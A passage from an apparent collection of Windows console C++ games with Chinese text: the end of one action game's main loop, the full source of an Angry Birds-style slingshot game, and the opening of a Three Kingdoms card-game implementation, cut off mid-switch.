            if(Wind==0){if(GetAsyncKeyState(VK_LEFT)&0x8000) Vy=-(10-abs(Ding-Y)*1.5)/20.0;if(GetAsyncKeyState(VK_RIGHT)&0x8000) Vy=(10-abs(Ding-Y)*1.5)/20.0;}if(GetAsyncKeyState(VK_UP)&0x8000&&u1==0) {u1++;if(Down==1){Down=0;Up=0;if(Ren==2)Map(-1,0),Vx=0,X=18,Li=5;else Vx=7,Vy=0.3;}else if(Up==0&&Wind==0) {Down=0;Up=1;if(Ren==2)Map(-1,0),Vx=1,X=10,Map(0,3),Li=5;else Vx=2,Vy=0.1;}else if(Up==1&&Wind==0) {Down=0;Up=2;if(Ren==2)Map(-1,0),Vx=1,X-=6,Map(0,3),Li=5;else Vx=1.5,Vy=0.1;}else if(Ren==3&&Up==2&&Wind==0) {Down=0;Up=3;Vx=1;Vy=0.5;Upt=30;}else if(Ren==4&&Up==2&&Wind==0) {Down=0;Up=3;Vx=1.8;Vy=0.1;}}if(GetAsyncKeyState(VK_DOWN)&0x8000&&u2==0) {u2++;if(Down==1&&Ren==5){Down=2;Up=0;Vx=-1.7;}else {Down=1;Up=0;if(Ren==2)Map(-1,0),Vx=0,X=22,Map(0,3),Li=5;else {if(Upt!=0) Map(-1,0),Upt=0;Vx=-7;}}}if((GetAsyncKeyState(VK_UP)&0x8000) ?0:1) u1=0;if((GetAsyncKeyState(VK_DOWN)&0x8000) ?0:1) u2=0;if(kbhit()){char g=_getch();if(g==' ') Sleep(100),Setpos(4,1),Sy++,system("pause");}if(Sy==1) Setpos(4,1),printf("                           "),Sy--;
            if(Drug==0) Blo=fmin((float)Blomax,Blo+Hui/100.0);else if(T%10==0)Blo--;if(T%20==0) {if(Kill!=0) Kill=0;if(Lvl!=0) Lvl=0;}if(Killb>0) Killb--;if(Li>0) Li--;if(Ice>0) Ice--;if(Drug>0) Drug--;if(Magne>0) Magne--;
            if(Fire>0) Ball(1),Fire--;if(Water>0) Ball(2),Water--;if(Wind>0) Ball(3),Wind--;if(Thun>0) Ball(4),Thun--;
            if(Boss==0) NorGuai(L,T%1500);RandGood();if(T%20==1)Exp++;
            if(T%50==1){Exp++;system("cls");Setpos(20,0);Color(0);for(int i=1;i<=60;i++) printf("=");if(Win==0&&T<300){Setpos(4,6);cout<<"上下 跳跃/下翻,左右 些微移动(松手即返回)"; Setpos(6,6);cout<<"球可以开启特殊效果,Exp积满(300)可提升 Lv。";Setpos(8,6);cout<<"打败 7 波即胜利,打败 BOSS 有新天赋。";Setpos(10,15);cout<<"空格可以暂停。";}}
            Map(-1,0);
            if(Boss==1) Boss1();if(Boss==2) Boss2();if(Boss==3) Boss3();if(Boss==6) Boss1(),Boss2(),Boss3();
            Move();Map(0,(bool)Kill);Color(0);
            Setpos(1,1);Blo=fmin(Blo,(float)Blomax);if(Boss==0)cout<<"Blood: "<<(int)Blo<<"  ";Color(0);Setpos(1,9),cout<<"Death: "<<D<<"  ";Setpos(2,1);Exp=min(Exp,Expmax);if(Exp>=Expmax)Exp=0,Lv++,Lvl++,Hui++,Blomax+=5;if(Lvl>0)Color(5);cout<<"Lv: "<<Lv;Color(0);Setpos(2,9);cout<<"Exp: "<<Exp<<"  ";if(Boss>0) Setpos(3,1),cout<<"Blood     : ",Ball(7);if(Boss>0&&Boss!=6) Setpos(4,1),cout<<"Boss Blood: ",Ball(6);if(Boss==6) Setpos(1,9),printf("Time: %0.1f s  ",T/15.0);
            int speed=0;
            if(Win==0) speed=55;if(Win==1) speed=50;if(Win==2) speed=35;if(Win==3) speed=40;if(Win==4) speed=25;if(Win==5) speed=30;if(Win==6) speed=20;if(Win>=7) speed=17;
            if(Wind) speed/=2;Sleep(speed);
            if(Boss==3&&Bblo<=0){for(int i=1;i<=4;i++){br++;B[br].what=98;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}}
            if((Win%2==0&&T>=1400)||(Win%2==1&&Bblo<=0)||(Win==7&&T>=450)||Blo<=0) {Map(-1,0);break;}
        }if(Blo<=0){Sleep(1000);D++;system("color 7F");Setpos(15,11);Color(4);cout<<"GAME OVER...";Sleep(2000);goto ReStart;}else if(Win==6){system("color 7F");Setpos(15,11);Color(4);cout<<"坚持30秒 !";Sleep(2000);Setpos(30,0);Win++;D=0;}else if(Win==7){Sleep(1000);system("color 6E");Setpos(15,11);Color(5);cout<<"YOU WIN !";Sleep(2000);Setpos(30,0);return 0;}else Sleep(1000),Win++,D=0;goto Start;
    }
    

    愤怒的小胎!

    #include<bits/stdc++.h>
    #include<windows.h>
    #include<stdio.h>
    #include<conio.h>
    #include<time.h>
    using namespace std;
    const double pi=3.1415926536;
    int toint(float a){return ((int)(a*10+5))/10;}
    void Color(int a)
    {
        if(a==0||a==14||a==20) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
        if(a==1||a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
        if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
        if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
        if(a==4||a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
        if(a==5||a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
        if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE);
        if(a==15) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY);
        if(a==16) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN);
        if(a==17) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
        if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
        if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
        if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);
    }
    void SetPos(float x,float y)
    {
        int xx=toint(x),yy=toint(y);
        COORD pos;pos.X=yy*2,pos.Y=xx;SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);
    }
    struct node
    {
        int W,W2,S,mS;
        float X,Y;
        float vx,vy;
        float ax,ay;
        bool go,boom;
    }blt[100001],pig[100001],boo[100001];
    int T,yX,yY,Xy,put,K,K2,Sle,What;
    int Bot,Pit,Blt,Pig,Sco,pigk,scok;
    int m[41][41];
    void Cout(int a,int x,int y)
    {
        if(a==1) SetPos(x,y),Color(5),cout<<put<<' ';
        if(y==202)
        {
            SetPos(pig[a].X,pig[a].Y);cout<<"  ";
            if((pig[a].W==2||pig[a].W==3)&&pig[a].X>=2) SetPos(pig[a].X-2,pig[a].Y);cout<<"  ",SetPos(pig[a].X-1,pig[a].Y);cout<<"  ";
            if(pig[a].W==4) SetPos(pig[a].X,pig[a].Y-1),cout<<"  "; 
            if(pig[a].W==5) SetPos(pig[a].X-1,pig[a].Y),cout<<"  ",SetPos(pig[a].X-1,pig[a].Y-1),cout<<"  ";
        }
        if(a==2)
        for(int i=0;i<=40;i++)
        for(int j=0;j<=40;j++)
        {
            if(i<=18&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"■";
            if(m[i][j]>=2&&m[i][j]<=19) SetPos(i,j),Color(5),cout<<"█",m[i][j]++;
            if(m[i][j]>19&&m[i][j]<=29) SetPos(i,j),Color(0),cout<<"█",m[i][j]++;
            if(m[i][j]==30) SetPos(i,j),Color(0),cout<<"  ",m[i][j]=0;
            if(m[i][j]>=31&&m[i][j]<=49) SetPos(i,j),Color(0),cout<<"■",m[i][j]++;
            if(m[i][j]==50) SetPos(i,j),Color(7),cout<<"■",m[i][j]=1;
        }
        if(y==666)
        {
            SetPos(blt[a].X,blt[a].Y);
            Color(10+blt[a].W),cout<<"●";
        }Color(0);
    }
    void Go(int a)
    {
        SetPos(blt[a].X,blt[a].Y);cout<<"  ";
        blt[a].X+=blt[a].vx/2;blt[a].Y+=blt[a].vy/2;blt[a].vx+=blt[a].ax/2;blt[a].vy+=blt[a].ay/2;
        if(blt[a].X>=20) blt[a].X=19;
        if(blt[a].X>20||blt[a].Y>38||blt[a].X<0||blt[a].Y<=0) blt[a].go=1;
        if(blt[a].W2==1&&blt[a].Y>=Xy) blt[a].go=1,Sle=0;//地跑鸟
        if(blt[a].W2==0)
        {
            for(int i=0;i<=blt[a].vx/2+1;i++)
            {
                if(blt[a].vx>0&&m[toint(blt[a].X)+i][toint(blt[a].Y)]==1) //上反弹 
                {
                    if(blt[a].W!=5) blt[a].boom=1;
                    blt[a].X=toint(blt[a].X)+i-1,blt[a].Y+=blt[a].vy/2,blt[a].vx=-blt[a].vx*0.4,blt[a].vy=blt[a].vy*0.8;
                    if(blt[a].W==3) blt[a].ax=0.5;if(blt[a].W==7) blt[a].vx*=2;
                    if(blt[a].W==10) blt[a].go=1,Bot++,boo[Bot].X=blt[a].X,boo[Bot].Y=blt[a].Y,boo[Bot].S=1,boo[Bot].mS=4;
                }
                if(blt[a].vx<0&&m[toint(blt[a].X)-i][toint(blt[a].Y)]==1) //下反弹 
                {
                    if(blt[a].W!=5) blt[a].boom=1;
                    blt[a].X=toint(blt[a].X)+i+1,blt[a].Y+=blt[a].vy/2,blt[a].vx=-blt[a].vx,blt[a].vy=blt[a].vy*0.8;
                    if(blt[a].W==3) blt[a].ax=0.5;if(blt[a].W==7) blt[a].vx*=2;
                    if(blt[a].W==10) blt[a].go=1,Bot++,boo[Bot].X=blt[a].X,boo[Bot].Y=blt[a].Y,boo[Bot].S=1,boo[Bot].mS=4;
                }
            }
            if(abs(blt[a].vx)<=0.1&&abs(blt[a].vy)<=0.1&&abs(blt[a].ay)<=0.1)
            {
                blt[a].go=1;
                if(blt[a].W==5) Bot++,boo[Bot].X=blt[a].X,boo[Bot].Y=blt[a].Y,boo[Bot].S=1,boo[Bot].mS=4,blt[a].go=1;
            }
        }
        if(blt[a].go==0) Cout(a,0,666);
    }
    void Kill(int a)
    {
        if(pig[a].go==0&&pig[a].W!=2&&pig[a].W!=3&&pig[a].Y<16) Cout(a,202,202),pig[a].Y=16;
        if(pig[a].go==0&&pig[a].W==4&&pig[a].Y<20) pig[a].W=1;
        int R=rand()%50;Cout(a,202,202);
        /////////清除猪猪 
        pig[a].X+=pig[a].vx/2;pig[a].Y+=pig[a].vy/2;pig[a].vx+=pig[a].ax/2;pig[a].vy+=pig[a].ay/2;
        for(int i=-2;i<=pig[a].vx/2+1;i++)
        {
            if(m[toint(pig[a].X)+i][toint(pig[a].Y)]==1) //上反弹 
            pig[a].X=toint(pig[a].X)+i-1,pig[a].Y+=pig[a].vy/2,pig[a].vx=-pig[a].vx*0.5,pig[a].vy=pig[a].vy*0.8;
        }
        for(int i=Blt-10;i<=Blt;i++)
        {
            if(pig[a].W==5&&blt[i].go==0&&abs(pig[a].X-blt[i].X)<=1&&abs(pig[a].Y-blt[i].Y)<=1) {m[toint(pig[a].X)-1][toint(pig[a].Y)]=2,pig[a].W2++;Sco+=2;break;}
            if(pig[a].W==5&&m[toint(pig[a].X)][toint(pig[a].Y)]>=2&&m[toint(pig[a].X)][toint(pig[a].Y)]<30) {m[toint(pig[a].X)-1][toint(pig[a].Y)]=2,pig[a].W2++;Sco+=2;break;}
            if(blt[i].go==0&&abs(pig[a].X-blt[i].X)<=1&&abs(pig[a].Y-blt[i].Y)<=1)
            {
                if(pig[a].W==6) Bot++,boo[Bot].X=pig[a].X,boo[Bot].Y=pig[a].Y,boo[Bot].S=1,boo[Bot].mS=4,blt[i].go=1;
                m[toint(pig[a].X)][toint(pig[a].Y)]=2,pig[a].go=1,Pig--,Sco+=10;break;
            }
            if(m[toint(pig[a].X)][toint(pig[a].Y)]>=2&&m[toint(pig[a].X)][toint(pig[a].Y)]<30)
            {
                if(pig[a].W==6) Bot++,boo[Bot].X=pig[a].X,boo[Bot].Y=pig[a].Y,boo[Bot].S=1,boo[Bot].mS=4;
                pig[a].go=1,Pig--,Sco+=10;break;
            }
            if((pig[a].W==2||pig[a].W==3)&&blt[i].go==0&&abs(pig[a].X-2-blt[i].X)<=1&&abs(pig[a].Y-blt[i].Y)<=1) {m[toint(pig[a].X)][toint(pig[a].Y)]=2,pig[a].go=1,Pig--,Sco+=10;break;}
            if((pig[a].W==2||pig[a].W==3)&&m[toint(pig[a].X-2)][toint(pig[a].Y)]>=2&&m[toint(pig[a].X-2)][toint(pig[a].Y)]<30) {pig[a].go=1,Pig--,Sco+=10;break;}
        }
        /////////弄死猪猪 
        if(pig[a].go==0)
        {
            if(pig[a].go==0&&pig[a].W!=2&&pig[a].W!=3&&pig[a].Y<16) Cout(a,202,202),pig[a].Y=16;
            if(pig[a].go==0&&pig[a].W==4&&pig[a].Y<20) pig[a].W=1;
            int Xx=toint(pig[a].X),Xy=toint(pig[a].Y);
            if(pig[a].W==6) SetPos(pig[a].X,pig[a].Y),Color(9),cout<<"TN",Color(0);
            else{
            SetPos(pig[a].X,pig[a].Y),Color(2),cout<<"●";
            if((pig[a].W==2||pig[a].W==3)&&pig[a].X>=2) SetPos(pig[a].X-2,pig[a].Y),Color(0),cout<<"○",SetPos(pig[a].X-1,pig[a].Y),cout<<"|";
            if(pig[a].W==4) SetPos(pig[a].X,pig[a].Y-1),Color(2),cout<<"﹃";
            if(pig[a].W==5)
            {
                SetPos(pig[a].X-1,pig[a].Y),Color(8);SetPos(pig[a].X-1,pig[a].Y-1),cout<<"▁";
                if(pig[a].W2==0)cout<<"▅";if(pig[a].W2==1)cout<<"▃";if(pig[a].W2==2)cout<<"▂";if(pig[a].W2==3) pig[a].W=1,pig[a].W2=0,SetPos(pig[a].X-1,pig[a].Y-1),cout<<"  ";
            }
            }
            /////////输出猪猪 
            if(pig[a].W==2&&pig[a].X>pig[a].S) pig[a].W=3,pig[a].ax=-0.4,pig[a].vx=1.5;
            else if(pig[a].W==3&&pig[a].X<=pig[a].S) pig[a].W=2,pig[a].ax=0.4,pig[a].vx=-1.5;
            if((pig[a].W==2||pig[a].W==3)&&(pig[a].Y<=10||pig[a].Y>=38)) pig[a].vy*=-1;
            if(pig[a].W==4&&R==0&&pig[a].X==20) pig[a].vx=-((rand()%40)/10);
            if(pig[a].W==4)
            {
                int r=rand()%20;
                for(int i=Blt-10;i<=Blt;i++) if(r<=5&&blt[i].go==0&&pig[a].Y-blt[i].Y<=5&&abs(blt[i].X-pig[a].X)<=1.5&&r<5) r=0;
                if(r==0)
                {
                    m[toint(pig[a].X)][toint(pig[a].Y)-2]=10;m[toint(pig[a].X)][toint(pig[a].Y)-3]=2;
                    for(int j=toint(pig[a].Y)-1;j>=toint(pig[a].Y)-5;j--)
                    {
                        for(int i=Blt-10;i<=Blt;i++) if(blt[i].go==0&&!(blt[i].W==3&&blt[i].boom==1)&&blt[i].W2==0&&toint(blt[i].Y)==j&&abs(blt[i].X-pig[a].X)<=2) blt[i].vy=-2;
                        for(int i=Pit-50;i<=Pit;i++) if(pig[i].go==0&&toint(pig[i].Y)==j&&abs(pig[i].X-pig[a].X)<=2) pig[i].vy=-1;
                    }
                }
            }
            /////////移动猪猪 
            if(pig[a].go==0&&pig[a].W!=2&&pig[a].W!=3&&pig[a].Y<16) Cout(a,202,202),pig[a].Y=16;
            if(pig[a].go==0&&pig[a].W==4&&pig[a].Y<20) pig[a].W=1;
            if(pig[a].X>20||pig[a].Y>38||pig[a].X<0||pig[a].Y<=0) pig[a].go=1,Pig--,Cout(a,202,202);
            /////////清除猪猪 
        }
    }
    void Creat(int a,int p)
    {
        if(a==-1&&p==-1)
        {
            Blt++;blt[Blt].W=What;blt[Blt].W2=1;
            blt[Blt].vy=1;blt[Blt].X=19;blt[Blt].Y=0;blt[Blt].boom=1;
        }
        else if(a==0&&p==-1)
        {
            int u=rand()%7+1,U=rand()%30;
            if(u>=5) Pit++,pig[Pit].Y=rand()%15+20,pig[Pit].X=2,pig[Pit].ax=0.5,pig[Pit].W=1;
            if(u==1) Pit++,pig[Pit].Y=rand()%15+20,pig[Pit].X=2,pig[Pit].vy=0.5,pig[Pit].ax=0.5,pig[Pit].S=rand()%5+7,pig[Pit].W=2;
            if(u==2) Pit++,pig[Pit].Y=rand()%15+20,pig[Pit].X=2,pig[Pit].ax=0.5,pig[Pit].W=4;
            if(u==3) Pit++,pig[Pit].Y=rand()%15+20,pig[Pit].X=2,pig[Pit].ax=0.5,pig[Pit].W=5;
            if(u==4) Pit++,pig[Pit].Y=rand()%15+20,pig[Pit].X=2,pig[Pit].ax=0.5,pig[Pit].W=6;
            if(U==1) Bot++,boo[Bot].Y=rand()%13+15,boo[Bot].X=(rand()%4)*3+8,boo[Bot].S=0,boo[Bot].mS=rand()%2+2,boo[Bot].W2=1;
        }
        else
        {
            Blt++;blt[Blt].W=What;
            if(a==1) blt[Blt].X=yX;blt[Blt].Y=yY;blt[Blt].ax=0.5; //抛物线
            blt[Blt].vx=-3.5*sin(p*pi/180);
            blt[Blt].vy=3*cos(p*pi/180);
            if(p<=45) blt[Blt].vy*=1+(0.33-0.01*(45-p));
            if(p>=45) blt[Blt].vy*=1+(0.33-0.01*(p-45));
            if(blt[Blt].W==6) blt[Blt].vy*=1.2,blt[Blt].ax=0.4;
        }
    }
    void Boom(int a)
    {
        if(boo[a].W2==0)
        {
            int ms=boo[a].mS,s=boo[a].S,x=boo[a].X,y=boo[a].Y;
            if(s==ms) return;
            for(int i=x-s;i<=x+s;i++)
            for(int j=y-s;j<=y+s;j++)
            {
                float k=(i-x)*(i-x)+(j-y)*(j-y)-s*s;
                if(k<=s&&k>=-s&&i<=20&&j<=38&&i>=0&&j>0&&m[i][j]!=1) m[i][j]=2;
            }boo[a].S++;
        }
        if(boo[a].W2==1)
        {
            int ms=boo[a].mS,s=boo[a].S,x=boo[a].X,y=boo[a].Y;
            if(s==ms) return;
            if(y-s>10) m[x][y-s]=31-31*(boo[a].W2-1);
            if(y+s<40) m[x][y+s]=31-31*(boo[a].W2-1);
            boo[a].S++;
        }
    }
    void Move(int a)
    {
        Color(5);
        if(a==-2) SetPos(17,Xy),cout<<"        ",SetPos(18,Xy),cout<<"        ",SetPos(19,Xy),cout<<"        ",SetPos(20,Xy),cout<<"       ";
        if(a==-1) SetPos(17,Xy),cout<<"        ",SetPos(18,Xy),cout<<"  ┃  ┃",SetPos(19,Xy),cout<<"  ╰┳╯",SetPos(20,Xy),cout<<"     ▏";
        if(a==0) SetPos(18,Xy),cout<<"  ┃",Color(What+10),cout<<"●",Color(5),cout<<"┃",SetPos(19,Xy),cout<<"  ╰┳╯",SetPos(20,Xy),cout<<"     ▏";
        if(a==1) SetPos(18,Xy),cout<<"  ",Color(What+10),cout<<"●",Color(5),cout<<"  ┃",SetPos(19,Xy),cout<<"  ╰┳╯",SetPos(20,Xy),cout<<"     ▏";
        if(a==2) SetPos(18,Xy),Color(What+10),cout<<"●",Color(5),cout<<"┃  ┃",SetPos(19,Xy),cout<<"  ╰┳╯",SetPos(20,Xy),cout<<"     ▏";
        if(a==3) SetPos(18,Xy),cout<<"  ┃  ┃",SetPos(19,Xy),Color(What+10),cout<<"●",Color(5),cout<<"╰┳╯",SetPos(20,Xy),cout<<"     ▏";
        if(a==4) SetPos(18,Xy),cout<<"  ┃  ┃",SetPos(19,Xy),cout<<"  ╰┳╯",SetPos(20,Xy),Color(What+10),cout<<"●",Color(5),cout<<"   ▏";
        if(a==5) SetPos(18,Xy),cout<<"  ┃  ┃",SetPos(19,Xy),cout<<"  ╰┳╯",SetPos(20,Xy),cout<<"  ",Color(What+10),cout<<"●",Color(5),cout<<" ▏";
        if(a==6) SetPos(18,Xy),cout<<"  ┃  ┃",SetPos(19,Xy),cout<<"  ╰┳╯",SetPos(20,Xy),cout<<"    ",Color(What+10),cout<<"●",Color(5),cout<<" ";
        Color(0);
    }
    void Start()
    {
        char g;Color(5);system("cls");
        SetPos(1,1);cout<<"------- 愤 怒 的 小 胎 -------";Color(0);
        SetPos(3,1);cout<<"空格瞄准,按X触发小胎技能,←→移动弹弓";
        SetPos(5,1);cout<<"猪猪技能自动触发,空中会有墙出现。";
        SetPos(7,1);cout<<"危险值由命中率,猪的存活时间计算!";
        SetPos(9,1);cout<<"危险值点满后失败!1500分通关!";
        SetPos(1,20);cout<<"-------- 小 胎 技 能 --------";
        SetPos(3,20);Color(11),cout<<"●",Color(0),cout<<":无技能";
        SetPos(5,20);Color(12),cout<<"●",Color(0),cout<<":分身!不同分身初速度大小相同,";
        SetPos(6,20);cout<<"        方向不同。";
        SetPos(7,20);Color(13),cout<<"●",Color(0),cout<<":加速!以当前速度做匀速直线运动,";
        SetPos(8,20);cout<<"          且免疫狙击猪的冲击。";
        SetPos(9,20);Color(14),cout<<"●",Color(0),cout<<":投蛋!并获得向上速度做匀速直线";
        SetPos(10,20);cout<<"          运动,快达可以穿墙。";
        SetPos(11,20);Color(15),cout<<"●",Color(0),cout<<":爆炸!";
        SetPos(13,20);Color(16),cout<<"●",Color(0),cout<<":回旋!开始做向左加速运动!发射";
        SetPos(14,20);cout<<"          时获得双倍水平速度。";
        SetPos(15,20);Color(17),cout<<"●",Color(0),cout<<":[被动] 弹跳力为普通鸟三倍。发射";
        SetPos(16,20);cout<<"          时获得1.5倍水平、竖直速度。";
        SetPos(11,1);cout<<"-------- 猪 猪 技 能 --------";
        SetPos(13,2);Color(2),cout<<"●",Color(0),cout<<":无技能";
        SetPos(14,1);Color(8),cout<<"▁▅";
        SetPos(15,2);Color(2),cout<<"●",Color(0),cout<<":防御力为普通猪三倍";
        SetPos(16,2);cout<<"○";
        SetPos(17,2);cout<<"│:做空中简谐运动,受死范围";
        SetPos(18,2);Color(2),cout<<"●",Color(0),cout<<"  为普通猪两倍。";
        SetPos(19,2);cout<<"    有几率跳起或发射冲击波,冲";
        SetPos(20,1);Color(2),cout<<"﹃●",Color(0),cout<<":开小胎与同类,可以引爆TNT!";
        SetPos(18,20);Color(5),cout<<"按 y 开始游戏!";
        A:if(kbhit()) g=_getch();
        if(g!='y') goto A;
    }
    int main()
    {
        system("mode con cols=79 lines=22");
        CONSOLE_CURSOR_INFO cursor_info={1,0};
        SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);
        srand((unsigned)time(NULL));St:Start();system("cls");
        memset(blt,0,sizeof(blt));memset(pig,0,sizeof(pig));
        memset(boo,0,sizeof(boo));memset(m,0,sizeof(m));
        T=put=K=K2=Sle=What=Pig=Sco=0;pigk=scok=-1;
        Xy=4,yX=18,yY=6;Blt=20,Bot=20,Pit=60;Color(7);
        SetPos(19,14);cout<<"■";
        SetPos(20,13);cout<<" █▍";m[19][14]=m[20][13]=m[20][14]=1;
        SetPos(21,0);for(int i=0;i<39;i++) cout<<"■",m[21][i]=1;
        Color(0);What=rand()%5+1;
        while(1)
        {
            if(Sco>=1500) break;
            T++;K=0;Color(0);
            if(Sco!=scok) SetPos(1,1),cout<<"分数:"<<Sco<<' ';
            if(Pig!=pigk){SetPos(3,1);cout<<"危险值:";int aa=min(Sco/100,10);Pig+=aa;
            SetPos(3,5);if(Pig<=2) Color(2);else if(Pig<=4) Color(16);else if(Pig<=6) Color(7);else if(Pig<=9) Color(6);
            else if(Pig<=12) Color(3);else if(Pig<=15) Color(17);else Color(11);
            for(int i=1;i<=Pig;i++) cout<<"■";Color(0);cout<<' '<<Pig;for(int i=1;i<=5;i++) cout<<"  ";
            if(Pig>18) break;Pig-=aa;}
            scok=Sco;pigk=Pig;
            if(GetAsyncKeyState(VK_LEFT)&0x8000&&Xy>0) Move(-2),Xy--,K=1;
            if(GetAsyncKeyState(VK_RIGHT)&0x8000&&Xy<10) Move(-2),Xy++,K=1;
            if(K==1)
            {
                if(put==0&&Sle==0) Move(0);
                else Move(-1);
            }
            if(kbhit())
            {
                char g=_getch();
                if(g=='x'||g=='X')
                {
                    for(int i=Blt-10;i<=Blt;i++)
                    if(blt[i].go==0&&blt[i].boom==0&&blt[i].W!=1&&blt[i].W!=7)
                    {
                        blt[i].boom=1;
                        if(blt[i].W==2)
                        {
                            Blt++;blt[Blt].W=2;blt[Blt].vy=blt[i].vy*1.2;blt[Blt].vx=blt[i].vx+1;
                            blt[Blt].ax=blt[i].ax;blt[Blt].X=blt[i].X;blt[Blt].Y=blt[i].Y;blt[Blt].boom=1;
                            Blt++;blt[Blt].W=2;blt[Blt].vy=blt[i].vy*0.7;blt[Blt].vx=blt[i].vx-1;
                            blt[Blt].ax=blt[i].ax;blt[Blt].X=blt[i].X;blt[Blt].Y=blt[i].Y;blt[Blt].boom=1;
                        }
                        if(blt[i].W==3) blt[i].vy=fmax(blt[i].vy*1.5,2.5),blt[Blt].vx+=1,blt[i].ax=0;
                        if(blt[i].W==4)
                        {
                            blt[i].vx=-3;blt[i].ax=0.1;Blt++;blt[Blt].boom=1;blt[Blt].W=10;
                            blt[Blt].X=blt[i].X;blt[Blt].Y=blt[i].Y;blt[Blt].ax=blt[i].ax,blt[Blt].vx=1;
                        }
                        if(blt[i].W==5) Bot++,boo[Bot].X=blt[i].X,boo[Bot].Y=blt[i].Y,boo[Bot].S=1,boo[Bot].mS=5,blt[i].go=1;
                        if(blt[i].W==6) blt[i].ay=-1,blt[i].ax=0.3,blt[i].vx=min(blt[i].vx/2,(float)0);
                        break;
                    }
                }
            }
            if(GetAsyncKeyState(' ')&0x8000&&K==0&&Sle==0)
            {
                if(put<=5) Move(1),yX=18,yY=Xy+1;
                else if(put<=20) Move(2),yX=18,yY=Xy;
                else if(put<=40) Move(3),yX=19,yY=Xy;
                else if(put<=60) Move(4),yX=20,yY=Xy;
                else if(put<=80) Move(5),yX=20,yY=Xy+1;
                else Move(6),yX=20,yY=Xy+2;
                if(put==0) K2=1;if(put==90) K2=-1;
                if(K2==1) put+=min(rand()%7+1,90-put);
                if(K2==-1) put-=min(rand()%7+1,put);
                Cout(1,17,Xy+2);
            }
            if((!(GetAsyncKeyState(' ')&0x8000)&&(put!=0))||(put!=0&&K==1))
            Move(-1),Creat(1,put),put=0,yX=18,yY=5,Sle=1,What=rand()%7+1,Creat(-1,-1),Sco=max(Sco-5,0);
            for(int i=Blt-10;i<=Blt;i++) if(blt[i].go==0) Go(i);
            for(int i=Bot-10;i<=Bot;i++) if(boo[i].go==0) Boom(i),Cout(2,0,0);
            for(int i=Pit-50;i<=Pit;i++) if(pig[i].go==0) Kill(i);
            if(Sle!=0) Move(-1);
            else if(put==0) Move(0);
            if(T%300==0) system("cls"),pigk=scok=-1;
            if(T%100==0)
            {
                Color(7);
                for(int i=0;i<=18;i++)
                for(int j=0;j<=40;j++) if(m[i][j]==1&&T%100==0) SetPos(i,j),cout<<"■";
                SetPos(19,14),cout<<"■",SetPos(20,13),cout<<" █▍";
                SetPos(21,0);for(int i=0;i<39;i++) cout<<"■";Color(0);
            }
            if(T%min(50,(2000-Sco)/30)==0) Pig++,Creat(0,-1);
            Sleep(30);
        }
        if(Sco<1500) {SetPos(9,17);system("color 7F");Color(11);cout<<"YOU DIE !";}
        else {SetPos(9,17);system("color 6E");Color(5);cout<<"YOU WIN !";}
        SetPos(11,16);Sleep(1000);cout<<"play again? (y/n)";Sleep(1000);char g;
        A:if(kbhit()) g=_getch();SetPos(18,0);
        if(g=='n') return 0;
        else if(g!='y') goto A;
        else if(g=='y') goto St;
    }
    

    三国杀

    #include<iostream>
    #include<time.h>
    #include<stdio.h>
    #include <stdlib.h>
    using namespace std;
    struct pai
    {
    int paifu;
    int huase;
    int yanse;
    int dianshu;
    int leixing;
    int changdu;
    void Kanpai()
    {
    if(paifu==0||paifu==1);
    else
    printf("牌副参数错误!\n");
    switch(huase)
    {
    case 0:cout<<"黑桃";break;
    case 1:cout<<"红桃";break;
    case 2:cout<<"草花";break;
    case 3:cout<<"方片";break;
    case -1:cout<<"无色";break;
    default:printf("花色错误!\n");break;
    }
    switch(dianshu)
    {
    case 0:cout<<"A ";break;
    case 1:cout<<"2 ";break;
    case 2:cout<<"3 ";break;
    case 3:cout<<"4 ";break;
    case 4:cout<<"5 ";break;
    case 5:cout<<"6 ";break;
    case 6:cout<<"7 ";break;
    case 7:cout<<"8 ";break;
    case 8:cout<<"9 ";break;
    case 9:cout<<"10 ";break;
    case 10:cout<<"J ";break;
    case 11:cout<<"Q ";break;
    case 12:cout<<"K ";break;
    case -1:cout<<"无点数";break;
    default:printf("点数错误!\n");break;
    }
    switch(leixing)
    {
    case 101:cout<<"【杀】"<<endl;break;
    case 102:cout<<"【闪】"<<endl;break;
    case 103:cout<<"【桃】"<<endl;break;
    case 201:cout<<"【过河拆桥】"<<endl;break;
    case 202:cout<<"【顺手牵羊】"<<endl;break;
    case 203:cout<<"【无中生有】"<<endl;break;
    case 204:cout<<"【决斗】"<<endl;break;
